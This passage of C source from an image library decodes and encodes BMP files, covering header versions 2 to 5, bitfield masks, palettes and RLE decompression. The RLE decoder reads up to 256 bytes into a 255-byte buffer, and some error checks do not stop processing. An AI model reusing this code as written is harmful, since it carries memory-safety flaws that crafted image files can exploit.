"Mask" fields of the header. // Am I supposed to conclude that it is redundantly stored in both // places? // Evidence and common sense suggests the "BitCount" documentation is // incorrect, and v4/v5 BMPs never have a separate "bitfields" segment. if(rctx->bmpversion==3) { rctx->bitfields_nbytes = 12; } rctx->compression=IWBMP_BI_RGB; } //biSizeImage = iw_get_ui32le(&buf[20]); biXPelsPerMeter = iw_get_i32le(&buf[24]); biYPelsPerMeter = iw_get_i32le(&buf[28]); rctx->img->density_code = IW_DENSITY_UNITS_PER_METER; rctx->img->density_x = (double)biXPelsPerMeter; rctx->img->density_y = (double)biYPelsPerMeter; if(!iw_is_valid_density(rctx->img->density_x,rctx->img->density_y,rctx->img->density_code)) { rctx->img->density_code=IW_DENSITY_UNKNOWN; } biClrUsed = iw_get_ui32le(&buf[32]); if(biClrUsed>100000) return 0; infoheaderdone: // The documentation of the biClrUsed field is not very clear. // I'm going to assume that if biClrUsed is 0 and bitcount<=8, then // the number of palette colors is the maximum that would be useful // for that bitcount. In all other cases, the number of palette colors // equals biClrUsed. if(biClrUsed==0 && rctx->bitcount<=8) { rctx->palette_entries = 1<<rctx->bitcount; } else { rctx->palette_entries = biClrUsed; } rctx->palette_nbytes = 4*rctx->palette_entries; return 1; } static int process_bf_mask(struct iwbmprcontext *rctx, int k); // Decode the fields that are in v4 and not in v3. static int decode_v4_header_fields(struct iwbmprcontext *rctx, const iw_byte *buf) { int k; unsigned int cstype; if(rctx->uses_bitfields) { // Set the bitfields masks here, instead of in iwbmp_read_bitfields(). for(k=0;k<4;k++) { rctx->bf_mask[k] = 0; } for(k=0;k<4;k++) { if(rctx->infoheader_size < (size_t)(40+k*4+4)) break; rctx->bf_mask[k] = iw_get_ui32le(&buf[40+k*4]); if(!process_bf_mask(rctx,k)) return 0; } rctx->bitfields_set=1; // Remember not to overwrite the bf_* fields. if(rctx->bf_mask[3]!=0) { // The documentation says this is the mask that "specifies the // alpha component of each pixel." // It doesn't say whther it's associated, or unassociated alpha. // It doesn't say whether 0=transparent, or 0=opaque. // It doesn't say how to tell whether an image has an alpha // channel. // These are the answers I'm going with: // - Unassociated alpha // - 0=transparent // - 16- and 32-bit images have an alpha channel if 'compression' // is set to BI_BITFIELDS, and this alpha mask is nonzero. rctx->has_alpha_channel = 1; } } if(rctx->infoheader_size < 108) return 1; cstype = iw_get_ui32le(&buf[56]); switch(cstype) { case IWBMPCS_CALIBRATED_RGB: // "indicates that endpoints and gamma values are given in the // appropriate fields." (TODO) break; case IWBMPCS_DEVICE_RGB: case IWBMPCS_SRGB: case IWBMPCS_WINDOWS: break; case IWBMPCS_PROFILE_LINKED: case IWBMPCS_PROFILE_EMBEDDED: if(rctx->bmpversion<5) { iw_warning(rctx->ctx,"Invalid colorspace type for BMPv4"); } break; default: iw_warningf(rctx->ctx,"Unrecognized or unsupported colorspace type (0x%x)",cstype); } // Read Gamma fields if(cstype==IWBMPCS_CALIBRATED_RGB) { unsigned int bmpgamma; double gamma[3]; double avggamma; for(k=0;k<3;k++) { bmpgamma = iw_get_ui32le(&buf[96+k*4]); gamma[k] = ((double)bmpgamma)/65536.0; } avggamma = (gamma[0] + gamma[1] + gamma[2])/3.0; if(avggamma>=0.1 && avggamma<=10.0) { iw_make_gamma_csdescr(&rctx->csdescr,1.0/avggamma); } } return 1; } // Decode the fields that are in v5 and not in v4. static int decode_v5_header_fields(struct iwbmprcontext *rctx, const iw_byte *buf) { unsigned int intent_bmp_style; int intent_iw_style; intent_bmp_style = iw_get_ui32le(&buf[108]); intent_iw_style = IW_INTENT_UNKNOWN; switch(intent_bmp_style) { case 1: intent_iw_style = IW_INTENT_SATURATION; break; // LCS_GM_BUSINESS case 2: intent_iw_style = IW_INTENT_RELATIVE; break; // LCS_GM_GRAPHICS case 4: intent_iw_style = IW_INTENT_PERCEPTUAL; break; // LCS_GM_IMAGES case 8: intent_iw_style = IW_INTENT_ABSOLUTE; break; // LCS_GM_ABS_COLORIMETRIC } rctx->img->rendering_intent = intent_iw_style; // The profile may either be after the color table, or after the bitmap bits. // I'm assuming that we will never need to use the profile size in order to // find the bitmap bits; i.e. that if the bfOffBits field in the file header // is not available, the profile must be after the bits. //profile_offset = iw_get_ui32le(&buf[112]); // bV5ProfileData; //profile_size = iw_get_ui32le(&buf[116]); // bV5ProfileSize; return 1; } static int iwbmp_read_info_header(struct iwbmprcontext *rctx) { iw_byte buf[124]; int retval = 0; size_t n; // First, read just the "size" field. It tells the size of the header // structure, and identifies the BMP version. if(!iwbmp_read(rctx,buf,4)) goto done; rctx->infoheader_size = iw_get_ui32le(&buf[0]); if(rctx->infoheader_size<12) goto done; // Read the rest of the header. n = rctx->infoheader_size; if(n>sizeof(buf)) n=sizeof(buf); if(!iwbmp_read(rctx,&buf[4],n-4)) goto done; if(rctx->infoheader_size==12) { // This is a "Windows BMP v2" or "OS/2 BMP v1" bitmap. rctx->bmpversion=2; if(!decode_v2_header(rctx,buf)) goto done; } else if(rctx->infoheader_size==16 || rctx->infoheader_size==40 || rctx->infoheader_size==64) { // A Windows v3 or OS/2 v2 BMP. // OS/2 v2 BMPs can technically have other header sizes between 16 and 64, // but it's not clear if such files actually exist. rctx->bmpversion=3; if(!decode_v3_header_fields(rctx,buf)) goto done; } else if(rctx->infoheader_size==108 || rctx->infoheader_size==52 || rctx->infoheader_size==56) { // We assume a a 52- or 56-byte header is for BITMAPV2INFOHEADER/BITMAPV3INFOHEADER, // and not OS/2v2 format. But if it OS/2v2, it will probably either work (because // the formats are similar enough), or fail due to an unsupported combination of // compression and bits/pixel. rctx->bmpversion=4; if(!decode_v3_header_fields(rctx,buf)) goto done; if(!decode_v4_header_fields(rctx,buf)) goto done; } else if(rctx->infoheader_size==124) { rctx->bmpversion=5; if(!decode_v3_header_fields(rctx,buf)) goto done; if(!decode_v4_header_fields(rctx,buf)) goto done; if(!decode_v5_header_fields(rctx,buf)) goto done; } else { iw_set_error(rctx->ctx,"Unsupported BMP version"); goto done; } if(!iw_check_image_dimensions(rctx->ctx,rctx->width,rctx->height)) { goto done; } retval = 1; done: return retval; } // Find the highest/lowest bit that is set. static int find_high_bit(unsigned int x) { int i; for(i=31;i>=0;i--) { if(x&(1U<<(unsigned int)i)) return i; } return 0; } static int find_low_bit(unsigned int x) { int i; for(i=0;i<=31;i++) { if(x&(1U<<(unsigned int)i)) return i; } return 0; } // Given .bf_mask[k], set high_bit[k], low_bit[k], etc. static int process_bf_mask(struct iwbmprcontext *rctx, int k) { // The bits representing the mask for each channel are required to be // contiguous, so all we need to do is find the highest and lowest bit. rctx->bf_high_bit[k] = find_high_bit(rctx->bf_mask[k]); rctx->bf_low_bit[k] = find_low_bit(rctx->bf_mask[k]); rctx->bf_bits_count[k] = 1+rctx->bf_high_bit[k]-rctx->bf_low_bit[k]; // Check if the mask specifies an invalid bit if(rctx->bf_high_bit[k] > (int)(rctx->bitcount-1)) return 0; if(rctx->bf_bits_count[k]>16) { // We only support up to 16 bits. Ignore any bits after the 16th. rctx->bf_low_bit[k] = rctx->bf_high_bit[k]-15; rctx->bf_bits_count[k] = 16; } if(rctx->bf_bits_count[k]>8) { rctx->need_16bit = 1; } return 1; } static int iwbmp_read_bitfields(struct iwbmprcontext *rctx) { iw_byte buf[12]; int k; if(!iwbmp_read(rctx,buf,12)) return 0; for(k=0;k<3;k++) { rctx->bf_mask[k] = iw_get_ui32le(&buf[k*4]); if(rctx->bf_mask[k]==0) return 0; // Find the high bit, low bit, etc. if(!process_bf_mask(rctx,k)) return 0; } return 1; } static void iwbmp_set_default_bitfields(struct iwbmprcontext *rctx) { int k; if(rctx->bitfields_set) return; if(rctx->bitcount==16) { // Default is 5 bits for each channel. rctx->bf_mask[0]=0x7c00; // 01111100 00000000 (red) rctx->bf_mask[1]=0x03e0; // 00000011 11100000 (green) rctx->bf_mask[2]=0x001f; // 00000000 00011111 (blue) } else if(rctx->bitcount==32) { rctx->bf_mask[0]=0x00ff0000; rctx->bf_mask[1]=0x0000ff00; rctx->bf_mask[2]=0x000000ff; } else { return; } for(k=0;k<3;k++) { process_bf_mask(rctx,k); } } static int iwbmp_read_palette(struct iwbmprcontext *rctx) { size_t i; iw_byte buf[4*256]; size_t b; unsigned int valid_palette_entries; size_t valid_palette_nbytes; b = (rctx->bmpversion==2) ? 3 : 4; // bytes per palette entry if(rctx->infoheader_size==64) { // According to what little documentation I can find, OS/2v2 BMP files // have 4 bytes per palette entry. But some of the files I've seen have // only 3. This is a little hack to support them. if(rctx->fileheader_size + rctx->infoheader_size + rctx->palette_entries*3 == rctx->bfOffBits) { iw_warning(rctx->ctx,"BMP bitmap overlaps colormap; assuming colormap uses 3 bytes per entry instead of 4"); b = 3; rctx->palette_nbytes = 3*rctx->palette_entries; } } // If the palette has >256 colors, only use the first 256. valid_palette_entries = (rctx->palette_entries<=256) ? rctx->palette_entries : 256; valid_palette_nbytes = valid_palette_entries * b; if(!iwbmp_read(rctx,buf,valid_palette_nbytes)) return 0; rctx->palette.num_entries = valid_palette_entries; for(i=0;i<valid_palette_entries;i++) { rctx->palette.entry[i].b = buf[i*b+0]; rctx->palette.entry[i].g = buf[i*b+1]; rctx->palette.entry[i].r = buf[i*b+2]; rctx->palette.entry[i].a = 255; } // If the palette is oversized, skip over the unused part of it. if(rctx->palette_nbytes > valid_palette_nbytes) { iwbmp_skip_bytes(rctx, rctx->palette_nbytes - valid_palette_nbytes); } return 1; } static void bmpr_convert_row_32_16(struct iwbmprcontext *rctx, const iw_byte *src, size_t row) { int i,k; unsigned int v,x; int numchannels; numchannels = rctx->has_alpha_channel ? 4 : 3; for(i=0;i<rctx->width;i++) { if(rctx->bitcount==32) { x = ((unsigned int)src[i*4+0]) | ((unsigned int)src[i*4+1])<<8 | ((unsigned int)src[i*4+2])<<16 | ((unsigned int)src[i*4+3])<<24; } else { // 16 x = ((unsigned int)src[i*2+0]) | ((unsigned int)src[i*2+1])<<8; } v = 0; for(k=0;k<numchannels;k++) { // For red, green, blue [, alpha]: v = x & rctx->bf_mask[k]; if(rctx->bf_low_bit[k]>0) v >>= rctx->bf_low_bit[k]; if(rctx->img->bit_depth==16) { rctx->img->pixels[row*rctx->img->bpr + i*numchannels*2 + k*2+0] = (iw_byte)(v>>8); rctx->img->pixels[row*rctx->img->bpr + i*numchannels*2 + k*2+1] = (iw_byte)(v&0xff); } else { rctx->img->pixels[row*rctx->img->bpr + i*numchannels + k] = (iw_byte)v; } } } } static void bmpr_convert_row_24(struct iwbmprcontext *rctx,const iw_byte *src, size_t row) { int i; for(i=0;i<rctx->width;i++) { rctx->img->pixels[row*rctx->img->bpr + i*3 + 0] = src[i*3+2]; rctx->img->pixels[row*rctx->img->bpr + i*3 + 1] = src[i*3+1]; rctx->img->pixels[row*rctx->img->bpr + i*3 + 2] = src[i*3+0]; } } static void bmpr_convert_row_8(struct iwbmprcontext *rctx,const iw_byte *src, size_t row) { int i; for(i=0;i<rctx->width;i++) { rctx->img->pixels[row*rctx->img->bpr + i*3 + 0] = rctx->palette.entry[src[i]].r; rctx->img->pixels[row*rctx->img->bpr + i*3 + 1] = rctx->palette.entry[src[i]].g; rctx->img->pixels[row*rctx->img->bpr + i*3 + 2] = rctx->palette.entry[src[i]].b; } } static void bmpr_convert_row_4(struct iwbmprcontext *rctx,const iw_byte *src, size_t row) { int i; int pal_index; for(i=0;i<rctx->width;i++) { pal_index = (i&0x1) ? src[i/2]&0x0f : src[i/2]>>4; rctx->img->pixels[row*rctx->img->bpr + i*3 + 0] = rctx->palette.entry[pal_index].r; rctx->img->pixels[row*rctx->img->bpr + i*3 + 1] = rctx->palette.entry[pal_index].g; rctx->img->pixels[row*rctx->img->bpr + i*3 + 2] = rctx->palette.entry[pal_index].b; } } static void bmpr_convert_row_2(struct iwbmprcontext *rctx,const iw_byte *src, size_t row) { int i; int pal_index; for(i=0;i<rctx->width;i++) { pal_index = (src[i/4]>>(2*(3-i%4)))&0x03; rctx->img->pixels[row*rctx->img->bpr + i*3 + 0] = rctx->palette.entry[pal_index].r; rctx->img->pixels[row*rctx->img->bpr + i*3 + 1] = rctx->palette.entry[pal_index].g; rctx->img->pixels[row*rctx->img->bpr + i*3 + 2] = rctx->palette.entry[pal_index].b; } } static void bmpr_convert_row_1(struct iwbmprcontext *rctx,const iw_byte *src, size_t row) { int i; int pal_index; for(i=0;i<rctx->width;i++) { pal_index = (src[i/8] & (1<<(7-i%8))) ? 1 : 0; rctx->img->pixels[row*rctx->img->bpr + i*3 + 0] = rctx->palette.entry[pal_index].r; rctx->img->pixels[row*rctx->img->bpr + i*3 + 1] = rctx->palette.entry[pal_index].g; rctx->img->pixels[row*rctx->img->bpr + i*3 + 2] = rctx->palette.entry[pal_index].b; } } static int bmpr_read_uncompressed(struct iwbmprcontext *rctx) { iw_byte *rowbuf = NULL; size_t bmp_bpr; int j; int retval = 0; if(rctx->has_alpha_channel) { rctx->img->imgtype = IW_IMGTYPE_RGBA; rctx->img->bit_depth = rctx->need_16bit ? 16 : 8; rctx->img->bpr = iw_calc_bytesperrow(rctx->width,4*rctx->img->bit_depth); } else { rctx->img->imgtype = IW_IMGTYPE_RGB; rctx->img->bit_depth = rctx->need_16bit ? 16 : 8; rctx->img->bpr = iw_calc_bytesperrow(rctx->width,3*rctx->img->bit_depth); } bmp_bpr = iwbmp_calc_bpr(rctx->bitcount,rctx->width); rctx->img->pixels = (iw_byte*)iw_malloc_large(rctx->ctx,rctx->img->bpr,rctx->img->height); if(!rctx->img->pixels) goto done; rowbuf = iw_malloc(rctx->ctx,bmp_bpr); for(j=0;j<rctx->img->height;j++) { // Read a row of the BMP file. if(!iwbmp_read(rctx,rowbuf,bmp_bpr)) { goto done; } switch(rctx->bitcount) { case 32: case 16: bmpr_convert_row_32_16(rctx,rowbuf,j); break; case 24: bmpr_convert_row_24(rctx,rowbuf,j); break; case 8: bmpr_convert_row_8(rctx,rowbuf,j); break; case 4: bmpr_convert_row_4(rctx,rowbuf,j); break; case 2: bmpr_convert_row_2(rctx,rowbuf,j); break; case 1: bmpr_convert_row_1(rctx,rowbuf,j); break; } } retval = 1; done: if(rowbuf) iw_free(rctx->ctx,rowbuf); return retval; } // Read and decompress RLE8 or RLE4-compressed bits, and write pixels to // rctx->img->pixels. static int bmpr_read_rle_internal(struct iwbmprcontext *rctx) { int retval = 0; int pos_x, pos_y; iw_byte buf[255]; size_t n_pix; size_t n_bytes; size_t i; size_t pal_index; // The position of the next pixel to set. // pos_y is in IW coordinates (top=0), not BMP coordinates (bottom=0). pos_x = 0; pos_y = 0; // Initially make all pixels transparent, so that any any pixels we // don't modify will be transparent. iw_zeromem(rctx->img->pixels,rctx->img->bpr*rctx->img->height); while(1) { // If we've reached the end of the bitmap, stop. if(pos_y>rctx->img->height-1) break; if(pos_y==rctx->img->height-1 && pos_x>=rctx->img->width) break; if(!iwbmp_read(rctx,buf,2)) goto done; if(buf[0]==0) { if(buf[1]==0) { // End of Line pos_y++; pos_x=0; } else if(buf[1]==1) { // (Premature) End of Bitmap break; } else if(buf[1]==2) { // DELTA: The next two bytes are unsigned values representing // the relative position of the next pixel from the "current // position". // I interpret "current position" to mean the position at which // the next pixel would normally have been. if(!iwbmp_read(rctx,buf,2)) goto done; if(pos_x<rctx->img->width) pos_x += buf[0]; pos_y += buf[1]; } else { // A uncompressed segment n_pix = (size_t)buf[1]; // Number of uncompressed pixels which follow if(rctx->compression==IWBMP_BI_RLE4) { n_bytes = ((n_pix+3)/4)*2; } else { n_bytes = ((n_pix+1)/2)*2; } if(!iwbmp_read(rctx,buf,n_bytes)) goto done; for(i=0;i<n_pix;i++) { if(pos_x<rctx->img->width) { if(rctx->compression==IWBMP_BI_RLE4) { pal_index = (i%2) ? buf[i/2]&0x0f : buf[i/2]>>4; } else { pal_index = buf[i]; } rctx->img->pixels[rctx->img->bpr*pos_y + pos_x*4 + 0] = rctx->palette.entry[pal_index].r; rctx->img->pixels[rctx->img->bpr*pos_y + pos_x*4 + 1] = rctx->palette.entry[pal_index].g; rctx->img->pixels[rctx->img->bpr*pos_y + pos_x*4 + 2] = rctx->palette.entry[pal_index].b; rctx->img->pixels[rctx->img->bpr*pos_y + pos_x*4 + 3] = 255; pos_x++; } } } } else { // An RLE-compressed segment n_pix = (size_t)buf[0]; for(i=0;i<n_pix;i++) { if(pos_x<rctx->img->width) { if(rctx->compression==IWBMP_BI_RLE4) { pal_index = (i%2) ? buf[1]&0x0f : buf[1]>>4; } else { pal_index = buf[1]; } rctx->img->pixels[rctx->img->bpr*pos_y + pos_x*4 + 0] = rctx->palette.entry[pal_index].r; rctx->img->pixels[rctx->img->bpr*pos_y + pos_x*4 + 1] = rctx->palette.entry[pal_index].g; rctx->img->pixels[rctx->img->bpr*pos_y + pos_x*4 + 2] = rctx->palette.entry[pal_index].b; rctx->img->pixels[rctx->img->bpr*pos_y + pos_x*4 + 3] = 255; pos_x++; } } } } retval = 1; done: return retval; } static int bmpr_has_transparency(struct iw_image *img) { int i,j; if(img->imgtype!=IW_IMGTYPE_RGBA) return 0; for(j=0;j<img->height;j++) { for(i=0;i<img->width;i++) { if(img->pixels[j*img->bpr + i*4 + 3] != 255) return 1; } } return 0; } // Remove the alpha channel. // This doesn't free the extra memory used by the alpha channel, it just // moves the pixels around in-place. static void bmpr_strip_alpha(struct iw_image *img) { int i,j; size_t oldbpr; img->imgtype = IW_IMGTYPE_RGB; oldbpr = img->bpr; img->bpr = iw_calc_bytesperrow(img->width,24); for(j=0;j<img->height;j++) { for(i=0;i<img->width;i++) { img->pixels[j*img->bpr + i*3 + 0] = img->pixels[j*oldbpr + i*4 + 0]; img->pixels[j*img->bpr + i*3 + 1] = img->pixels[j*oldbpr + i*4 + 1]; img->pixels[j*img->bpr + i*3 + 2] = img->pixels[j*oldbpr + i*4 + 2]; } } } static int bmpr_read_rle(struct iwbmprcontext *rctx) { int retval = 0; if(!(rctx->compression==IWBMP_BI_RLE8 && rctx->bitcount==8) && !(rctx->compression==IWBMP_BI_RLE4 && rctx->bitcount==4)) { iw_set_error(rctx->ctx,"Compression type incompatible with image type"); } if(rctx->topdown) { // The documentation says that top-down images may not be compressed. iw_set_error(rctx->ctx,"Compression not allowed with top-down images"); } // RLE-compressed BMP images don't have to assign a color to every pixel, // and it's reasonable to interpret undefined pixels as transparent. // I'm not going to worry about handling compressed BMP images as // efficiently as possible, so start with an RGBA image, and convert to // RGB format later if (as is almost always the case) there was no // transparency. rctx->img->imgtype = IW_IMGTYPE_RGBA; rctx->img->bit_depth = 8; rctx->img->bpr = iw_calc_bytesperrow(rctx->width,32); rctx->img->pixels = (iw_byte*)iw_malloc_large(rctx->ctx,rctx->img->bpr,rctx->img->height); if(!rctx->img->pixels) goto done; if(!bmpr_read_rle_internal(rctx)) goto done; if(!bmpr_has_transparency(rctx->img)) { bmpr_strip_alpha(rctx->img); } retval = 1; done: return retval; } static int iwbmp_read_bits(struct iwbmprcontext *rctx) { int retval = 0; rctx->img->width = rctx->width; rctx->img->height = rctx->height; // If applicable, use the fileheader's "bits offset" field to locate the // bitmap bits. if(rctx->fileheader_size>0) { size_t expected_offbits; expected_offbits = rctx->fileheader_size + rctx->infoheader_size + rctx->bitfields_nbytes + rctx->palette_nbytes; if(rctx->bfOffBits==expected_offbits) { ; } else if(rctx->bfOffBits>expected_offbits && rctx->bfOffBits<1000000) { // Apparently, there's some extra space between the header data and // the bits. If it's not unreasonably large, skip over it. if(!iwbmp_skip_bytes(rctx, rctx->bfOffBits - expected_offbits)) goto done; } else { iw_set_error(rctx->ctx,"Invalid BMP bits offset"); goto done; } } if(rctx->compression==IWBMP_BI_RGB) { if(!bmpr_read_uncompressed(rctx)) goto done; } else if(rctx->compression==IWBMP_BI_RLE8 || rctx->compression==IWBMP_BI_RLE4) { if(!bmpr_read_rle(rctx)) goto done; } else { iw_set_errorf(rctx->ctx,"Unsupported BMP compression or image type (%d)",(int)rctx->compression); goto done; } retval = 1; done: return retval; } static void iwbmpr_misc_config(struct iw_context *ctx, struct iwbmprcontext *rctx) { // Have IW flip the image, if necessary. if(!rctx->topdown) { iw_reorient_image(ctx,IW_REORIENT_FLIP_V); } // Tell IW the colorspace. iw_set_input_colorspace(ctx,&rctx->csdescr); // Tell IW the significant bits. if(rctx->bitcount==16 || rctx->bitcount==32) { if(rctx->bf_bits_count[0]!=8 || rctx->bf_bits_count[1]!=8 || rctx->bf_bits_count[2]!=8 || (IW_IMGTYPE_HAS_ALPHA(rctx->img->imgtype) && rctx->bf_bits_count[3]!=8)) { iw_set_input_max_color_code(ctx,0, (1 << rctx->bf_bits_count[0])-1 ); iw_set_input_max_color_code(ctx,1, (1 << rctx->bf_bits_count[1])-1 ); iw_set_input_max_color_code(ctx,2, (1 << rctx->bf_bits_count[2])-1 ); if(IW_IMGTYPE_HAS_ALPHA(rctx->img->imgtype)) { iw_set_input_max_color_code(ctx,3, (1 << rctx->bf_bits_count[3])-1 ); } } } } IW_IMPL(int) iw_read_bmp_file(struct iw_context *ctx, struct iw_iodescr *iodescr) { struct iwbmprcontext rctx; struct iw_image img; int retval = 0; iw_zeromem(&rctx,sizeof(struct iwbmprcontext)); iw_zeromem(&img,sizeof(struct iw_image)); rctx.ctx = ctx; rctx.img = &img; rctx.iodescr = iodescr; // Start with a default sRGB colorspace. This may be overridden later. iw_make_srgb_csdescr_2(&rctx.csdescr); rctx.has_fileheader = !iw_get_value(ctx,IW_VAL_BMP_NO_FILEHEADER); if(rctx.has_fileheader) { if(!iwbmp_read_file_header(&rctx)) goto done; } if(!iwbmp_read_info_header(&rctx)) goto done; iwbmp_set_default_bitfields(&rctx); if(rctx.bitfields_nbytes>0) { if(!iwbmp_read_bitfields(&rctx)) goto done; } if(rctx.palette_entries>0) { if(!iwbmp_read_palette(&rctx)) goto done; } if(!iwbmp_read_bits(&rctx)) goto done; iw_set_input_image(ctx, &img); iwbmpr_misc_config(ctx, &rctx); retval = 1; done: if(!retval) { iw_set_error(ctx,"BMP read failed"); // If we didn't call iw_set_input_image, 'img' still belongs to us, // so free its contents. iw_free(ctx, img.pixels); } return retval; } struct iwbmpwcontext { int bmpversion; int include_file_header; int bitcount; int palentries; int compressed; int uses_bitfields; size_t header_size; size_t bitfields_size; size_t palsize; size_t unc_dst_bpr; size_t unc_bitssize; struct iw_iodescr *iodescr; struct iw_context *ctx; struct iw_image *img; const struct iw_palette *pal; size_t total_written; int bf_amt_to_shift[4]; // For 16-bit images unsigned int bf_mask[4]; unsigned int maxcolor[4]; // R, G, B -- For 16-bit images. struct iw_csdescr csdescr; int no_cslabel; }; static void iwbmp_write(struct iwbmpwcontext *wctx, const void *buf, size_t n) { (*wctx->iodescr->write_fn)(wctx->ctx,wctx->iodescr,buf,n); wctx->total_written+=n; } static void bmpw_convert_row_1(const iw_byte *srcrow, iw_byte *dstrow, int width) { int i; int m; for(i=0;i<width;i++) { m = i%8; if(m==0) dstrow[i/8] = srcrow[i]<<7; else dstrow[i/8] |= srcrow[i]<<(7-m); } } static void bmpw_convert_row_4(const iw_byte *srcrow, iw_byte *dstrow, int width) { int i; for(i=0;i<width;i++) { if(i%2==0) dstrow[i/2] = srcrow[i]<<4; else dstrow[i/2] |= srcrow[i]; } } static void bmpw_convert_row_8(const iw_byte *srcrow, iw_byte *dstrow, int width) { memcpy(dstrow,srcrow,width); } static void bmpw_convert_row_16_32(struct iwbmpwcontext *wctx, const iw_byte *srcrow, iw_byte *dstrow, int width) { int i,k; unsigned int v; int num_src_samples; unsigned int src_sample[4]; for(k=0;k<4;k++) src_sample[k]=0; num_src_samples = iw_imgtype_num_channels(wctx->img->imgtype); for(i=0;i<width;i++) { // Read the source samples into a convenient format. for(k=0;k<num_src_samples;k++) { if(wctx->img->bit_depth==16) { src_sample[k] = (srcrow[num_src_samples*2*i + k*2]<<8) | srcrow[num_src_samples*2*i + k*2 +1]; } else { src_sample[k] = srcrow[num_src_samples*i + k]; } } // Pack the pixels' bits into a single int. switch(wctx->img->imgtype) { case IW_IMGTYPE_GRAY: v = src_sample[0] << wctx->bf_amt_to_shift[0]; v |= src_sample[0] << wctx->bf_amt_to_shift[1]; v |= src_sample[0] << wctx->bf_amt_to_shift[2]; break; case IW_IMGTYPE_RGBA: v = src_sample[0] << wctx->bf_amt_to_shift[0]; v |= src_sample[1] << wctx->bf_amt_to_shift[1]; v |= src_sample[2] << wctx->bf_amt_to_shift[2]; v |= src_sample[3] << wctx->bf_amt_to_shift[3]; break; case IW_IMGTYPE_GRAYA: v = src_sample[0] << wctx->bf_amt_to_shift[0]; v |= src_sample[0] << wctx->bf_amt_to_shift[1]; v |= src_sample[0] << wctx->bf_amt_to_shift[2]; v |= src_sample[1] << wctx->bf_amt_to_shift[3]; break; default: v = src_sample[0] << wctx->bf_amt_to_shift[0]; v |= src_sample[1] << wctx->bf_amt_to_shift[1]; v |= src_sample[2] << wctx->bf_amt_to_shift[2]; } // Split the int into bytes, and write it to the target image. if(wctx->bitcount==32) { dstrow[i*4+0] = (iw_byte)(v&0xff); dstrow[i*4+1] = (iw_byte)((v&0x0000ff00)>>8); dstrow[i*4+2] = (iw_byte)((v&0x00ff0000)>>16); dstrow[i*4+3] = (iw_byte)((v&0xff000000)>>24); } else { dstrow[i*2+0] = (iw_byte)(v&0xff); dstrow[i*2+1] = (iw_byte)(v>>8); } } } static void bmpw_convert_row_24(struct iwbmpwcontext *wctx, const iw_byte *srcrow, iw_byte *dstrow, int width) { int i; if(wctx->img->imgtype==IW_IMGTYPE_GRAY) { for(i=0;i<width;i++) { dstrow[i*3+0] = srcrow[i]; dstrow[i*3+1] = srcrow[i]; dstrow[i*3+2] = srcrow[i]; } } else { // RGB for(i=0;i<width;i++) { dstrow[i*3+0] = srcrow[i*3+2]; dstrow[i*3+1] = srcrow[i*3+1]; dstrow[i*3+2] = srcrow[i*3+0]; } } } static void iwbmp_write_file_header(struct iwbmpwcontext *wctx) { iw_byte fileheader[14]; if(!wctx->include_file_header) return; iw_zeromem(fileheader,sizeof(fileheader)); fileheader[0] = 66; // 'B' fileheader[1] = 77; // 'M' // This will be overwritten later, if the bitmap was compressed. iw_set_ui32le(&fileheader[ 2], (unsigned int)(14+wctx->header_size+ wctx->bitfields_size+wctx->palsize+wctx->unc_bitssize)); // bfSize iw_set_ui32le(&fileheader[10],(unsigned int)(14+wctx->header_size+ wctx->bitfields_size+wctx->palsize)); // bfOffBits iwbmp_write(wctx,fileheader,14); } static int iwbmp_write_bmp_v2header(struct iwbmpwcontext *wctx) { iw_byte header[12]; if(wctx->img->width>65535 || wctx->img->height>65535) { iw_set_error(wctx->ctx,"Output image is too large for this BMP version"); return 0; } iw_zeromem(header,sizeof(header)); iw_set_ui32le(&header[ 0],12); // bcSize iw_set_ui16le(&header[ 4],wctx->img->width); // bcWidth iw_set_ui16le(&header[ 6],wctx->img->height); // bcHeight iw_set_ui16le(&header[ 8],1); // bcPlanes iw_set_ui16le(&header[10],wctx->bitcount); // bcBitCount iwbmp_write(wctx,header,12); return 1; } static int iwbmp_write_bmp_v3header(struct iwbmpwcontext *wctx) { unsigned int dens_x, dens_y; unsigned int cmpr; iw_byte header[40]; iw_zeromem(header,sizeof(header)); iw_set_ui32le(&header[ 0],(unsigned int)wctx->header_size); // biSize iw_set_ui32le(&header[ 4],wctx->img->width); // biWidth iw_set_ui32le(&header[ 8],wctx->img->height); // biHeight iw_set_ui16le(&header[12],1); // biPlanes iw_set_ui16le(&header[14],wctx->bitcount); // biBitCount cmpr = IWBMP_BI_RGB; if(wctx->compressed) { if(wctx->bitcount==8) cmpr = IWBMP_BI_RLE8; else if(wctx->bitcount==4) cmpr = IWBMP_BI_RLE4; } else if(wctx->uses_bitfields) { cmpr = IWBMP_BI_BITFIELDS; } iw_set_ui32le(&header[16],cmpr); // biCompression iw_set_ui32le(&header[20],(unsigned int)wctx->unc_bitssize); // biSizeImage if(wctx->img->density_code==IW_DENSITY_UNITS_PER_METER) { dens_x = (unsigned int)(0.5+wctx->img->density_x); dens_y = (unsigned int)(0.5+wctx->img->density_y); } else { dens_x = dens_y = 2835; } iw_set_ui32le(&header[24],dens_x); // biXPelsPerMeter iw_set_ui32le(&header[28],dens_y); // biYPelsPerMeter iw_set_ui32le(&header[32],wctx->palentries); // biClrUsed //iw_set_ui32le(&header[36],0); // biClrImportant iwbmp_write(wctx,header,40); return 1; } static int iwbmp_write_bmp_v45header_fields(struct iwbmpwcontext *wctx) { iw_byte header[124]; unsigned int intent_bmp_style; iw_zeromem(header,sizeof(header)); if(wctx->uses_bitfields) { iw_set_ui32le(&header[40],wctx->bf_mask[0]); iw_set_ui32le(&header[44],wctx->bf_mask[1]); iw_set_ui32le(&header[48],wctx->bf_mask[2]); iw_set_ui32le(&header[52],wctx->bf_mask[3]); } // Colorspace Type // TODO: We could support CSTYPE_GAMMA by using LCS_CALIBRATED_RGB, // but documentation about how to do that is hard to find. if(wctx->csdescr.cstype==IW_CSTYPE_SRGB && !wctx->no_cslabel) iw_set_ui32le(&header[56],IWBMPCS_SRGB); else iw_set_ui32le(&header[56],IWBMPCS_DEVICE_RGB); // Intent //intent_bmp_style = 4; // Perceptual //if(wctx->csdescr.cstype==IW_CSTYPE_SRGB && !wctx->no_cslabel) { switch(wctx->img->rendering_intent) { case IW_INTENT_PERCEPTUAL: intent_bmp_style = 4; break; case IW_INTENT_RELATIVE: intent_bmp_style = 2; break; case IW_INTENT_SATURATION: intent_bmp_style = 1; break; case IW_INTENT_ABSOLUTE: intent_bmp_style = 8; break; default: intent_bmp_style = 4; } //} iw_set_ui32le(&header[108],intent_bmp_style); iwbmp_write(wctx,&header[40],124-40); return 1; } static int iwbmp_write_bmp_header(struct iwbmpwcontext *wctx) { if(wctx->bmpversion==2) { return iwbmp_write_bmp_v2header(wctx); 